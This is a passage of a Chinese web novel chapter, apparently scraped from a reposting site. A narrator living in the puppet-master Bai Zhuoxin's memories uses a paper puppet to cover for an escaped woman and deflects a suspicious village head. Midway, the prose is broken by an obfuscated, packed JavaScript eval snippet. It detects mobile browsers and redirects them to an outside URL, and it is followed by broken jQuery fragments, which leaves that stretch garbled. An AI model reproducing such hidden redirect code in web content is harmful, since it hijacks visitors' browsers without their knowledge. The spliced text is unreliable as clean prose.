堂屋里，长明灯的火苗跳动了一下。


    纸人走到供桌前，停下，然后慢慢转过身，面对着我。它的脸上没有任何表情，但那双被许媛点睛的眼睛，在昏暗的光线里，竟然有种诡异的、活过来的神采。原来这便是白濯心擅用的傀术，光凭借笔墨就能让纸人变得惟妙惟肖。


    “你做得很好。”我下意识，用白濯心的口吻对它说。


    纸人微微歪了歪头，像是听懂了，又像是没懂。然后，它慢慢举起手，指向楼梯的方向，又指了指自己，最后指向门外。


    它在问：她走了吗？我接下来要做什么？


    “她走了。”我回答，声音不自觉地放轻了些，像是在对一个人说话，而不是一个纸糊的傀儡，“你留下来，代替她。睡在床上，不要动，不要出声。如果有人来，就像刚才那样应付。”


    纸人放下手，点了点头。然后它转过身，一步一步，走上楼梯。脚步声很轻，很稳，不再有刚才的僵硬。


    我站在堂屋中央，听着那脚步声消失在二楼，听着房门被推开，又被关上。记忆告诉我，从某种意义上来说，只要是师承白濯心的学生所点睛过的傀儡，她都能彻底控制。


    所以，她便轻而易举控制了许媛点睛的这副傀儡，做她想做的，说她想说的。


    我走到供桌前，在蒲团上重新跪下。膝盖触地时，那股酸麻感又涌了上来。我闭上眼，试图让经文重新在唇齿间流淌，但脑子里乱糟糟的，全是刚才的画面……


    张广茂审视的眼神，老妇人跪地磕头的哭嚎，人群里那些或好奇或善意或恶意的目光，还有纸人脸上那两行“泪”。


    以及，许媛。


    她现在应该已经进了暗室。那条狭窄通道，是白濯心当年为了保命特地修的，以防村子里有歹心的人想夺她的命。除了她和张泰德，没人知道它的存在。通道很窄，只能容一个人弯腰通过，里面没有光，只有潮湿的土腥味和老鼠窸窣爬过的声音。


    许媛会怕吗？


    也许会吧，但她没得选。


    我睁开眼，看着供桌上那张神像。神像的脸在跳动的灯光里模糊不清，只有那双眼睛，似乎正怜悯地俯视着我，俯视着这间屋子，这个村子，以及这屋子里正在上演的一切荒唐。


    不知不觉间，我开始意识到属于“我”的认知在逐渐弱化，在这里做任何的事情都成了顺其自然，顺势而为，仿佛我就是真的“白濯心”。


    有时候分不清，我做的事情，究竟是白濯心真实记忆的举动，还是发自我内心的行为。


    “娘。”我低声说，声音在空旷的堂屋里荡开，很快被黑暗吞没，“这次，她能逃过吗？”


    没有回答。


    只有夜风穿过门缝，发出呜呜的声响，像哭泣，又像叹息。


    我不知道跪了多久，直到双腿彻底失去知觉，才撑着供桌，慢慢站起来。走到窗边，掀开窗帘一角。


    外面，天还是黑的。


    但东边的天际，已经泛起一丝极淡的、鱼肚白似的灰。云层散开了一些，星星稀疏地挂在天幕上，冷冷地闪着光。


    远处传来第一声鸡鸣。


    清脆，嘹亮，划破寂静。


    新的一天，又要开始了。


    我放下窗帘，转身走向楼梯。每一步都踩得很实，木头台阶在脚下发出沉闷的回响。上了二楼，我没有去房间，而是走到走廊尽头，在墙壁上摸索。


    手指触到一块微微凸起的砖。


    用力一按。


    墙壁无声地滑开一道缝隙，刚好容一人通过。里面是浓得化不开的黑暗，还有一股潮湿的、带着土腥味的风，从深处吹出来。


    这里就是暗室。


    许媛便是从这儿离开的。现在，这条通道空着，等待着下一次被使用，或者永远被遗忘。


    我站在暗室口，没有进去。只是静静地站着，听着里面传来的风声，那声音像是从很远的地底传来，呜咽着，诉说着无人知晓的秘密。


    许久，我抬手，将墙壁合上。缝隙消失，墙面恢复如初，看不出半点痕迹。


    转身，回到纸人走进的房间门前。手放在门把上，停顿片刻，才轻轻推开。


    房间里，窗户开着一条缝，晨风灌进来，带着凉意。床上的被子隆起，纸人背对着门侧躺着，一动不动，像是睡着了。


    我走到窗边，关上窗，拉上窗帘。


    房间陷入昏暗。


    我在床边的椅子上坐下，看着床上那个“人”。它呼吸均匀，胸膛微微起伏，连头发垂落的弧度，都和许媛睡着时一模一样。


    完美。


    完美得让人心头发冷。


    我闭上眼，靠在椅背上。疲惫像潮水一样涌上来，从骨头缝里渗出来，浸透每一寸肌肉。但脑子里那根弦还绷着，不敢松。


    张广茂不会就这么算了。


    今晚他退了，是因为在众人面前，他找不到更好的理由硬闯。但怀疑的种子已经种下，他会用更隐蔽的方式，来验证他的猜测。


    还有张勤奋和他娘。那老妇人看似好糊弄，但一个能在村里熬这么多年，把儿子拉扯大的女人，绝不会像表面看起来那么简单。她会甘心吗？会相信“许媛”真的是来求子，而不是逃跑吗？


    以及许媛。


    她现在到哪儿了？通道的出口在后山的坟坑内，隐蔽，但也不安全。那里常年没人去，有野狗、毒虫，还有那些说不清道不明的“东西”，都可能要了她的命。


    她能找到路吗？能顺利离开这个村子吗？


    我不知道，白濯心也不知道，我们只能等。


    等时间一分一秒地过去，等天亮，等张广茂派人送来所谓的“供品”，等这场戏，继续演下去。


    窗外，天色一点一点亮起来。


    灰白的光透过窗帘缝隙渗进来，在地板上投下一道狭长的光斑。光斑慢慢移动，从墙边爬到床脚，最后停在纸人垂在床边的手上。


    那只手，苍白，纤细，手指微微蜷曲。


    我盯着那只手，看了很久。


    然后站起身，下了楼，走到供桌前，从抽屉里取出三炷香，点燃，插/进香炉。青烟升起，盘旋，在晨光里显得格外清晰。


    “求您保佑她。”我对着虚空，低声说。


    不知道是在对谁说，也不知道谁能听见。


    香静静燃着，一寸，一寸，化作灰烬。


    *


    天亮透了。


    阳光穿过窗帘的缝隙，在房间地板上切出明晃晃的光块。


    我坐在椅子里，又一夜没合眼。眼窝深陷，太阳穴一跳一跳地疼，喉咙干得发紧，像塞了一把粗砂。


    床上的纸人应该还在“睡”。


    它睡觉的时候，呼吸节奏很稳，胸膛规律地起伏，甚至连睫毛偶尔的颤动，都模仿得惟妙惟肖。如果不是知道内情，任何人走进来，都会以为床上躺着一个活生生的、熟睡的女人。


    我站起身，看向窗外。院子里传来麻雀叽喳的叫声，还有远处谁家开门的声音，铁门轴转动时发出刺耳的吱呀声。村子醒了，带着宿醉般的倦意，和昨夜那场闹剧留下的余温，慢慢活过来。


    我的膝盖发出轻微的咔哒声，走到窗边，掀开窗帘一角。


    院子里空荡荡的。那摊红纸屑还在，被晨风吹得零零落落，有几片粘在槐树粗糙的树皮上，像溃烂的伤口结出的痂。空气里的硝烟味淡了，被阳光和晨露的气息冲散，只剩下若有若无的一丝，钻进鼻子，提醒着昨晚发生过什么。


    院门关着，门外没有人。


    但我知道，不会这么简单结束。


    转身，走进厨房。


    灶台冰冷，铁锅里还留着没洗的碗筷。我熟练地从水缸里舀了瓢水，倒进锅里，生火，烧水。柴火在灶膛里噼啪作响，火光映在脸上，带来一丝暖意，但身体深处还是冷的，那种从骨头缝里渗出来的冷。


    水烧开了，蒸汽弥漫。


    我洗了碗，又给自己倒了碗热水，端着走到堂屋，在门槛上坐下。碗很烫，手心很快被焐热，但那股暖意只停留在皮肤表面，钻不进里面。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083545|190971||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我就这么坐着，看着院子，看着阳光一点点爬过青砖地面，爬上墙根，最后洒满整个院子。老槐树的影子被拉得很长，枝桠的轮廓在地上投出张牙爪的图案。


    不知过了多久，院门外传来脚步声。


    很重，很稳，不止一个人。


    我放下碗，站起身。等了这么久，要等的人终于来了。


    门被敲响了。不轻不重，三下，带着一种刻意的礼貌。


    “白婆婆，在家吗？”是张广茂的声音。


    “在。”我应了一声，走过去，拉开院门的门闩。


    门开了。


    外面站着三个人。张广茂站在最前面，穿着那件洗得发白的黑布衫，脸上带着惯常的、滴水不漏的笑容。他身后跟着两个年轻人，一人手里拎着个竹篮，一人肩上扛着个麻袋。


    “白婆婆，早。”张广茂笑着打招呼，像昨晚什么事都没发生，“东西给你送来了。你点点，看还缺什么。”


    我让开身：“进来吧。”


    三个人走进院子。拎竹篮的年轻人把篮子放在檐廊下，掀开盖着的蓝布。里面是香烛、纸钱、几刀黄表纸，还有一包用红纸包着的、方方正正的东西，看形状应该是钱。


    扛麻袋的把麻袋放下，解开绳口。里面是米、面、一块肥瘦相间的猪肉，还有一条鱼，用草绳拴着，鱼鳃还在微微张合，是活的。


    “供品都在这儿了。”张广茂说，目光往堂屋里瞟了一眼，“许老师……还没起？”


    “法事耗神，她累着了，还在睡。”我面不改色。


    “哦。”张广茂点点头，没再多问，但眼神里那点探究，藏不住。他朝堂屋里走了两步，站在门槛外，往里看。


    堂屋里光线昏暗，神龛、供桌、长明灯，还有我坐的那把椅子，都静静摆在老位置，看不出任何异常。


    “村长还有事？”我问。


    “没事，没事。”张广茂收回视线，笑容不变，“就是来看看，东西送到，我也好交差。对了……”


    他像是突然想起什么，从口袋里掏出个红布包，递过来：“这是勤奋他娘让捎来的，说是给许老师补身子。老太太一早就去集上买的，红糖，还有几个鸡蛋。她不好意思亲自来，托我转交。”


    我接过红布包，入手沉甸甸的，能感觉到里面鸡蛋圆润的形状。


    “替我谢谢她。”我说。


    “应该的，应该的。”张广茂搓搓手，目光又往楼上瞟了一眼，压低声音，“白婆婆，有句话，不知当问不当问。”


    “你说。”


    “这法事……到底要多久？”他问，声音压得更低，确保只有我们俩能听见，“我的意思是，许老师总不能一直住你这儿吧？勤奋那边，老太太那边，都等着呢。时间长了，怕村里人说闲话。”


    “法事要做满七天。”我早想好了说辞，“这七天，她得在我这儿，不能见外人，尤其是男人。七天之后，能不能成，看天意。成了，皆大欢喜。不成，我也没办法。”


    “七天……”张广茂咀嚼着这个数字，眉头微不可查地皱了皱，但很快又舒展开，“行，七天就七天。那这期间，饮食起居……”


    “我这儿有米有面，饿不着她。”我说，“倒是你们，这七天别来打扰。香火供品既然送了，心要诚。心不诚，供再多也没用。”


    “那是自然。”张广茂连连点头，但眼神里的那点东西，我看得清清楚楚。他不信，一个字都不信。但他需要这个台阶，需要这七天的缓冲，去验证，去布局，或者，去接受“许媛”暂时回不去的现实。


    “那就这样。”他朝我点点头，又朝身后两个年轻人摆摆手，“东西放这儿，咱们走，别打扰白婆婆清静。”


    两个年轻人放下东西，跟着张广茂往外走。走到院门口，张广茂又回过头，看了我一眼，那眼神很深，像一口古井，看不到底。


    “白婆婆。”他顿了顿，说，“这村子不大，但有些事，急不得。你说是不是？”


    我没接话。


    他笑了笑，转身走了。